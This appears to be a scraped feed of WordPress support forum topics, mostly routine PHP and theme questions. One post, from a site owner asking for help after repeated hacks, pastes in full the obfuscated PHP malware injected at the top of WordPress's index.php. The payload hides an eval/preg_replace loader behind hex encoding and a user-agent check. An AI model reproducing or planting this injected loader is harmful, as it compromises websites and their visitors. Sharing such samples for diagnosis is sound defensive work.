Quantcast
Channel: WordPress › Support » Forum: Hacks - Recent Topics
Viewing all 8245 articles
Browse latest View live

sepoto on "How to find the definition of wp_head"

$
0
0

Inside my themes header.php I have:

<?php wp_head(); ?>

From what I understand the definition of wp_head is inside

wp-includes/general_template.php which includes some text:

do_action( 'wp_head' );

So I am told that wp_head is defined somewhere by add_action howver I have no idea where I should begin to look for the call to add_action. Where is the final definition of wp_head?

Thank you


Gregg Banse on "PHP or JSON to pull data between sites?"

$
0
0

I have a single site that captures form data (faculty profiles) that I want to pull into other sites using short code. My plan is to write plugin for the form input site that allows configuration of variables for form elements (different colleges, programs, dates, etc.) and puts these into a custom table. Then write another plugin that allows me to set filters (specific college) and then processes shortcodes that allow me to display a list of faculty members based on variable values passed via the shortcode OR displays a single faculty member's profile.

All of these sites exist on a single server. Some are WP Multisite installs while others are single installs.

What would be the preferred method (most secure and best performance wise) for pulling the data from the database of the site that captures the form data into the other sites? JSON or PHP?

zkenstein on "Custom Post List Column"

$
0
0

Hi,

Is it possible to create custom post list column using the custom post type value, not from meta value.

Is will look like authors column.

Thanks
Ze

PeterChiverton67 on "Keep getting a Malware alert on home page"

$
0
0

I keep getting a Google Malware alert message when I try to load my Website stating "Attackers currently on stats.srvasnet.info" Haven't the foggiest idea how this happened and how to remove the problem. I've locked my site down so if people click on my Web address they won't be faced with a trojan threat. Anyone got some ADVICE

Niaj Morshed on "weird $_SESSION problem in wp page template"

$
0
0

I faced that a page template code run automatically where I didn't execute that page template.
I have a example here.

I have 1 page template named my_template.php

<?php
/*
Template Name: my_template
*/
$_SESSION['test_value'] = "wp Eror";
?>

I have created 2 pages let page1 & page2 with my_template

The code of my header.php is

<?php
//header.php
echo "<pre>";
print_r($_SESSION);
echo "</pre>";

//some code.

Now I am browsing my wp site without those page1 & page2.
Since I didn't browse the page1 & page2 so the page template my_template.php shouldn't be loaded. So I shouldn't get the session value $_SESSION['test_value'] = "wp Eror"; in my site.

Now the weird things is after browsing some pages ( without page1 & page2 ) of that site the session value will be loaded from the page template my_template.php. why ?
since I didn't view that page template why that page template was executed?

any solution?
Thanks in advanced.

sepoto on "WordPress style tags in header. Casper Theme."

$
0
0
<style type="text/css">
					.blog-title a, .blog-description, .social-icons a { color: #ffffff; }

                                            </style>
    	<style type="text/css">.recentcomments a{display:inline !important;padding:0 !important;margin:0 !important;}</style>
<style type="text/css" media="print">#wpadminbar { display:none; }</style>
<style type="text/css" media="screen">
	html { margin-top: 32px !important; }
	* html body { margin-top: 32px !important; }
	@media screen and ( max-width: 782px ) {
		html { margin-top: 46px !important; }
		* html body { margin-top: 46px !important; }
	}
</style>

So when I view source in Google Chrome I have this code showing up. I am aware at this point that there is a function wp_head that can be hooked by the theme. Starting with "html { margin-top: 32px" I did a search of all text files and came up with a list of possible places where margin-top was declared to be 32px; Did a search in all these documents:

C:\Users\Eric\Desktop\casper-masterecs\css\rtl.css
C:\Users\Eric\Desktop\casper-masterecs\src\less\normalize.cs
C:\Users\Eric\Desktop\casper-masterecs\src\less\rtl.less
C:\Users\Eric\Desktop\casper-masterecs\src\less\style.less

for the string "margin-top: 32px". My text editor did not find in any of those files "margin-top: 32px". I am curious then where it is declared to be the html { margin-top: 32px so I can change it? How can this setting be modified?

Thank You!

klmnweb on "Hide a particular widget on a page"

$
0
0

Hi,

I have four custom widget area in the footer and accordingly I have added 4 widgets to each of the widget areas.

In one of the widgets (sidebar-2) I have two widgets. I wish to display one of the two (sidebar-2) in my blog page and keep it hidden from rest of the site. How to execute this using php conditional tags.

I tried this one but did not work

<?php if(! is_active_sidebar( 'sidebar-2' ) && is_page(2831) )
<div id="recent-posts-2">
<?php endif; ?>

qsick on "facebook register/login sync with front end registration."

$
0
0

I am specifically using the registration form from restrict pro plugin developed by pippin's plugins.

I can not figure out how to sync a facebook registration to this form. I have tried several of the popular facebook connect plugins. Is there a way somebody know to do this efficiently?


Ezatpanah on "how i can write webservice plugin"

$
0
0

Hello Friends
I HAVE A WORD PRESS SITE and an mobile application whivh is related to the site and all post are shown there.
to connet sute to mob app, I wrote webswevice and now it is woeking.
now i am going to make a plugin from connection of this web service and mob app.
Unfortunately I have no idea for this work ...
Would you please guide me what should I do for writing the plugin, and how I can Implement this idea?

annag on "GeoTargeting PHP code for Custom Fields"

$
0
0

I altered my single post page PHP to make the featured image link to an external link. I would now like to take that a step further and send it to a different link depending on the user's country of origin. I am using Flytonic's Geotarget plugin for geotargeting.

Currently the code looks like this to send the featured image to an external link:

<?php $name = get_post_meta($post->ID, 'url-for-featured-image', true); ?>
			<div class="post-media">
				<a>"><?php
				// Display media (Video URL >> Wide embed >> Embed >> Image)
				if($vid_url):
		        	echo apply_filters( 'the_content', "[embed width='670']" . $vid_url . "[/embed]" );
		        elseif($vid_wide):
					echo $vid_wide;
		        elseif($vid):
					echo $vid;
				elseif ( has_post_thumbnail() ):
		            the_post_thumbnail('col4', array( 'class' => 'feat-img' ) );

		        endif; ?></a>

In order to change that first line:

<?php $name = get_post_meta($post->ID, 'url-for-featured-image', true); ?>

so that it changes to "uk-url-for-featured-image" if the user is coming from the UK, what should I add? Please note that I am totally new to PHP and WordPress (having used Movable Type for years) so please don't be too hard on me if what I am asking is impossible!

Flytonic's documentation says to use this code to change PHP code based on geotargeting.

<?php if (function_exists(‘fgeo_target’) && fgeo_target(‘uk’)==true) : ?>
YOUR CODE
<?php endif; ?>

I tried wrapping that code around the above code like this but it didn't work:

<?php if (function_exists(‘fgeo_target’) && fgeo_target(‘uk’)==true) : ?>
<?php $name = get_post_meta($post->ID, 'uk-url-for-featured-image', true); ?>
			<div class="post-media">
				<a>"><?php
				// Display media (Video URL >> Wide embed >> Embed >> Image)
				if($vid_url):
		        	echo apply_filters( 'the_content', "[embed width='670']" . $vid_url . "[/embed]" );
		        elseif($vid_wide):
					echo $vid_wide;
		        elseif($vid):
					echo $vid;
				elseif ( has_post_thumbnail() ):
		            the_post_thumbnail('col4', array( 'class' => 'feat-img' ) );

		        endif; ?></a>
<?php endif; ?>

What am I doing wrong?

felixgonzaleza on "mobile theme not showing"

$
0
0

I am having problems with properly displaying the mobile theme (while using plugin) of my site. I have a custom responsive site and our landing page is set to a static page (with the homepage template) please someone help me with being able to show this page. it only shows the templateid=1221 (some number)

Femio on "I am getting hacked evry two weeks? Help please"

$
0
0

The example below represents the attack that occurred on my site for the umteenth time. I have no idea how it is getting in. Spoken with the service provider, it is not on their side and they suggest that one of my plugins may be to blame. I religiously update plugin and words etc. I use wordfence wangguard akismet, you name it I have tried it.

There seems to be a particular trigger when I open th eplugins option in wordpress theyn boom this code is suddenly injected into 350 plus files. My database is always intact so I get to fix it with my back ups but this is not healthy at all.

Help would be much appreciated.

<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $dlncrnqcvp = '78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x7]238M7]381]211M5]67]452]88]5]48]32M3]317]445]212]]68]y34]68]y33]65]y31]53]y6d]281]25!*3!%x5c%x7827!hmg%x5cCb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x7825bT-%x5c%x7825h-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81%157%x64%145%x28%141%x72%162%x61%171%x5f%155%xbubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%xtzw%x5c%x782f%x5c%x7c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7!*1?hmg%x5c%x7825)!gj!<**2-4-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25,d7R17,67Re%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<*7878pmpusut!-#j0#!%x-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x7827K6<%x5c%x787fw6*3qj%x5c%x766%x61%154%x28%151%x6d%160%x6c78e%x5c%x78b%x5c%x7825w:!>!%x5c%x78qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:ox782fr%x5c%x7825%x5c%x782fh%x5c%x787825kj:!>!#]y3d]51]y35]256]y76]75c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5cutjyf%x5c%x7860439275ttfsqnpdov{h19275j{*t%x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji7825V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%+*0f(-!#]y76]277]y72]265]y39]271]y83]256]y78]248]y87f_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)74-%x5c%x7824%x5c%x785c%x5c%x7825c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]2FT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782]y86]267]y74]275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x2^,%x5c%x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c5c%x78257>%x5c%x782f7&6|7**111125)n%x5c%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:*~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37]278]225]y43]78]y33]65]y31]55]y85]82]y76]62]y3:]1<%x5c%x7825j=6[%x5c]47y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c%xc%x7860MPT7-NBFSUT%x5c%x7860LDPT7#npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>.%x5c%x7825!<***f%x5c%x7827,*282#<!%x5c%x7825tjw!>!#]y84]275]y83]248]y83]256]y81c%x7825hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#fbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x784#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860:|:**#ppde#)tutjyf%x5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825]y8%x5c%x7824-%x5c%x7824]26%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*!-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5x7825,3,j%x5c%x7825>j%x5c%x7825!<**3npd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x782A%x5c%x7827&6<.fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs83:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825t5c%x787fw6*%x5c%x787f_*#ujojRk3%x5c%x7]67y]37]88y]27]28y]#%x5c%72]58y]472]37y]672]48y]#>s%x5c%x7825<#462x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}5c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|c%x7860hfsq)!sp!*#ojneb#-*f825%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%x78248257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qj%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*<!~!ds%x7825bss%x5c%x785csboe))1%x5c%x782f35.)*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x782fqp%x5%x7825z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x7860sfqmbdf)%x5c%x784#-!OVMM*<%x22%51%x29%51%x29%73", NULL); }7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**t%x5c%x7825}K;%x5c%x78673:8297f:5297e:56-%x5c%x7878r.985:52985%x7825-*.%x5c%x7825)euhA)3of>2bd%x5A)qj3hopmA%x5c%x78273qj%x5c%x78256<*Y%x5c%x7825)fnb*)323zbek!~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c3ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c+7**^%x5c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:*&7-#o]s]o]s]#)fepmqyf%%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%xc%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x78256<%x55Ld]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<5c%x7825)!gj!~<ofmy%x5c%5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mW~%x5c%x7825fdy)##-!#pz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%h%x5c%x7860fmjg}[;ldp]265]y72]254]y76#<%x5c%x7825tmw!>!#]y84]275]y83]225)j{hnpd!opjudovg!|!**#j{h%x7825ww2!>#p#%x5c%x782f#p#%w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256<27}88:}334}472%x5c%x2f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%x5!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-27&6<%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x785z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825pd%x5c%x7825w6Z6<.3%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x7827pd-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5c%x78c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x782f*x7825)ftpmdR6<*id%x5c%x7825ozcYufhA%x5c%x78272qj%x5c%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)32c%x787f<*X&Z&S{ftmfV%x5c%xgj6<*doj%x5c%x78257-C)fepmqnjf#%x5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp0ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}i}Y;tuofuopd%x5c%x7860uf%x5c%x7825%x5c%x7827Y%x5c%xc%x7825z>!tussfw)%x5c%x7825zW%x5c%x7825h>445]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x7825tdz*Wsfuvso!%x5cc%x7825>5h%x5c%x7825!<*::::::-111112)eobs%x5c%x7860un>x78257;utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x7861%160%x28%42%x66%152%x7825:osvufs:~928>>%x5c%x7822:ftmbg39*56A:>:8:|:7#6#)totn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!%x5c%x782f!#0#)idubn%x52]y3d]51]y35]274]y4:]82]y3:]62]y4%x66%147%x67%42%x2c%163%x74%162%x5f%163%x70%154%x69%16*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%) { $GLOBALS["%x61%156%x75%156%x61id%x5c%x7825)uqpuft%x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7%x785c%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5c%x785c^>E%x5c%x7878:<##:>:h%x5c%)dfyfR%x5c%x7827tfs%x5c%x78256<*17-SFEBx7825s:%x5c%x785c%x5c%x7825j:.mbg!osvufs!|ftmf!~<*+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#241]334]368]322]3]364]6]283]427]36]373P6]36]73]83x5c%x7827*&7-n%x5c%x7825)utjm6<%xx782fh%x5c%x7825:<**#57]38y]47nui}&;zepc}A;~!}%x5c%x787f;!|!7824<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]271.;%x5c%x7860UQPMSVD!-%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7825j>1<%x5c83]256]y81]265]y72]254]y76]61]y335c%x782f!**#sfmcnbs+yfeobz+sfwjidsb%x5c%x7860bj+upc%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%xe%x5c%x7827,*d%x5c%x7827,*c%x5c%x7827,6<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825rN}#Qx5c%x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R37,18R#>q%x5c%x%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x782{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<*#k5l}S;2-u%x5c%x7825!-#2#%x5c%x782f#%x5c%x7825#%5c%x7825c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x78f_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%%x5c%x7825)sf%x5c%x7878pmpusut)tpqssutR|%x5c%x7824-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y7%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%-#!#-%x5c%x7825tmw)%x5eN+#Qi%x5c%x785c1^W%x27-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x7827&5%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x7825!>!2p%x5c%xset($GLOBALS["%x61%156%x75%156%x61"])))37,#%x5c%x782fq%x5c%x7825>U<#16,47R57,27R66,#%%x5c%x787f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x55j^%x5c%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x7824-wTW%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsfvif((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (!is25cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]w:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%x7825j>5c%x7824-!%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x782jyf%x5c%x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ft4%50%x22%134%x78%62%x35%165%x3a%146%x21%76%x21%50%x5c%x77825cB%x5c%x7825iN}#-!tussfw)%x5c%x7825c*W%x5c%x782x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7822f%x5c%x7825kj:-!OVMM*<(<}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%%x5c%x78256<pd%x5c%x7825x7878W~!Ypp2)%x5c%x7825zB%x5x5c%x7825%x5c%x785cSFWSqp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!**x5c%x7825)7gj6<*id%x5c%*9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcv24-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5c%x#cd2bge56+99386c6f+9f5d816:+946:ce4*b%x5c%x7825)sf%x5c%x1%x5c%x782f14+9**-)1%x5c%x782f2986hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4ing(0); preg_replace("%x2f%50%x2e%52%x29%57%x65","%x65%1!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x78pjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x78242178}5246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd5c%x7825tww**WYsboepn)%x5c%x7825bss-%QUUI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI#%x5c%x782f#7e:55946-tr.984:759x5c%x7825r%x5c%x7878B%x5c%x7825h>#]y31]278r#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cqFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%x5"]=1; function fjfgg($n){return chr(ord($n)-1);} @error_report73]y76]277#<%x5c%x7825t2w>#]y74]273]y76]252]y85]256]y6g]257x7825:<#64y]552]e7y]#>n%x5c%x7825<#3P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]275L]y76]271]y7d]252]y74]256]y39]252]y83]273]y72]}w;*%x5c%x787f!>>%x5c%x7822!pd%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%X%x5c%x7824<!%x5c%x7825tzw>!#]y76]277]y72]265]y39]274]y85]273]y6g]273c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5c%xx5c%x7825)kV%x5c%x7878{**#k#)tutjyf%x5c%x7860%x5c%x7878%x]y7d]252]y74]256#<!%x5c%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%x7824-%x860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x78x7827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x782%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c58]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x782f%x5c%x7825_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%W%x5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!x782f#M5]DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5]y3e]81]K78:56985:6197g:74985-rr.93e:5597f-s.9x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x5c%x78255c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%)!gj}Z;h!opjudovg}{;#)tut78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5/(.*)/epreg_replacemjtobpujum'; $tmkzabkrhl = explode(chr((208-164)),'7418,63,7105,39,5464,34,8848,62,8348,56,798,30,287,46,5200,21,5369,54,7748,56,1524,50,828,35,8524,56,7981,24,4157,43,4501,37,4538,61,6192,53,3699,23,5873,33,1320,37,1620,31,6975,61,6339,48,5148,52,4220,60,9286,35,10066,40,1883,33,736,62,3016,58,3469,51,4718,25,2381,41,408,48,7350,68,8741,59,4957,27,0,61,1236,53,4816,29,2517,67,6725,60,8098,23,4691,27,5646,39,8800,48,3774,48,2733,38,9445,47,4336,70,4933,24,4032,21,3372,23,4890,43,6020,21,5498,70,2624,52,9101,40,10041,25,7697,51,5715,20,8121,38,4406,45,143,24,6494,68,4280,56,333,55,3884,24,2422,36,484,55,2893,49,456,28,2321,60,8404,68,4102,27,2458,59,7036,69,6245,56,1009,40,3434,35,4646,45,1916,68,6301,38,3167,56,5094,54,8056,42,8238,21,716,20,6141,51,5276,60,2942,27,6785,39,671,45,8203,35,2147,52,8617,51,9783,51,3520,62,3722,52,3330,42,863,41,9981,60,8033,23,1406,55,4845,45,4743,47,3582,49,5221,55,1049,40,8293,55,2199,58,5735,42,6562,67,2584,40,7190,52,4790,26,608,63,7144,46,6435,59,1144,42,9321,57,3908,58,5936,30,7930,51,9492,45,6629,46,2837,56,9176,69,9056,45,1984,51,4053,49,8910,59,1461,63,9666,67,5906,30,2771,25,942,35,1651,49,1089,55,5623,23,8969,36,2796,41,1822,61,904,38,8472,52,4200,20,5966,54,9378,67,7643,54,1289,31,7242,52,9537,65,3223,64,2969,47,2257,64,6824,54,6041,67,3074,53,2088,59,8159,44,977,32,5336,33,9245,41,7804,51,6953,22,6675,50,7481,49,6878,54,8005,28,4984,41,6387,48,7294,56,2035,53,6932,21,8580,37,8699,42,9881,46,3395,39,237,50,8668,31,2676,57,3987,45,9834,47,9005,51,7530,70,3822,62,167,70,3966,21,1700,63,5824,49,61,49,5025,69,3127,40,8259,34,3631,68,9733,50,539,69,5423,41,5685,30,1574,46,5568,55,7600,43,1802,20,4129,28,7855,50,4451,50,9141,35,9927,54,388,20,5777,47,4599,47,7905,25,1357,49,9602,64,1186,50,6108,33,110,33,1763,39,3287,43'); $vwzwoixwrt=substr($dlncrnqcvp,(50598-40492),(46-39)); if (!function_exists('rjzgxasddt')) { function rjzgxasddt($tbraoiyosa, $bkhhcmytap) { $oykujodnvo = NULL; for($pbgfhfeccr=0;$pbgfhfeccr<(sizeof($tbraoiyosa)/2);$pbgfhfeccr++) { $oykujodnvo .= substr($bkhhcmytap, $tbraoiyosa[($pbgfhfeccr*2)],$tbraoiyosa[($pbgfhfeccr*2)+1]); } return $oykujodnvo; };} $zpdjhhgdxn="\x20\57\x2a\40\x73\164\x75\144\x79\150\x78\153\x6b\156\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\65\x32\55\x32\61\x35\51\x29\54\x20\143\x68\162\x28\50\x34\64\x32\55\x33\65\x30\51\x29\54\x20\162\x6a\172\x67\170\x61\163\x64\144\x74\50\x24\164\x6d\153\x7a\141\x62\153\x72\150\x6c\54\x24\144\x6c\156\x63\162\x6e\161\x63\166\x70\51\x29\51\x3b\40\x2f\52\x20\143\x6f\142\x68\171\x77\145\x73\164\x76\40\x2a\57\x20"; $ezxmtmwjzg=substr($dlncrnqcvp,(67463-57350),(44-32)); $ezxmtmwjzg($vwzwoixwrt, $zpdjhhgdxn, NULL); $ezxmtmwjzg=$zpdjhhgdxn; $ezxmtmwjzg=(423-302); $dlncrnqcvp=$ezxmtmwjzg-1; ?><?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );

jimclay75051 on "Repurpose Comment Email Field"

$
0
0

Hello, I do not feel that I need the email field, but I would be interested in knowing the location of any readers I might someday have. So I would like use the email field as a "City, State, Country" field.

I've made changes to my theme's comments.php file and have managed to change the label of the "Email" field to say"City, State, Country." That was easy.

But I would like for this info to display under the vistor's name once they have posted their comment. I cannot figure out how to do this. Any ideas?

I did find a plugin that will insert a new comment field, but I would prefer to not rely on a plugin if I don't really need to.

Thanks.

lordzden on "How do I get Wordpress' stats counter?"

$
0
0

How do I access a particular Wordpress Plugin or Theme stat? Can you share a code or tuts?

Like this:

Requires: 3.9 or higher
Compatible up to: 4.0
Last Updated: 2014-10-16
Downloads: 21,084,365

Ratings

4.4 out of 5 stars

sj3vans on "How to embed Wistia video iFrame link with user tracking"

$
0
0

I can't seem to figure this out. Perhaps someone can direct me how I need to get it going.

On our homepage at vistaone.tv, you can see that when I place the following link in a post, it embeds the video in an iframe such that it can play in place, without leaving the page, which I like a lot:

http://vistaone.wistia.com/medias/lyxk4fqan6?embedType=iframe&videoWidth=640

But I wanted to add a tracking parameter so I can find out who watched the video based on their WordPress login (I'm also using S2member). When I tried to embed the currently logged in user's email, it no longer displays the iFrame. Here's what I've tried:

<?php
global $current_user;
get_currentuserinfo();
echo 'http://vistaone.wistia.com/medias/lyxk4fqan6?embedType=iframe&videoWidth=640&wemail=' . $current_user->user_login; ?>

The substitution works, but I see the actual link instead of the video in an iFrame.

Any suggestions?


thestripedone on "Echoing a link to the oldest post in a navigation menu"

$
0
0

I'm putting together a webcomic page for a friend and am having trouble figuring out how to link to the first post. (That is: the oldest post, not the most recent)

Currently I have the following in functions.php, which as far as I can tell should be giving me a link to the oldest post:

function get_first_post() {

	//Get all posts
	$query = 'posts_per_page=-1';

	$queryObject = new WP_Query($query);

	//the loop
	$first_post_link=get_permalink();

	//clear post data
	wp_reset_postdata();

	//return result
	return $fist_post_link;
}//get_first_post

However, when I try to call it with a variable, the variable ends up empty.

I saw in a few places that I should be calling functions like get_permalink as a method of the object (e.g. $queryObject->get_permalink()) but whenever I try that my webhost serves me a 500 error for this function. I can call do that in other PHP functions no problem, though.

What am I doing wrong?

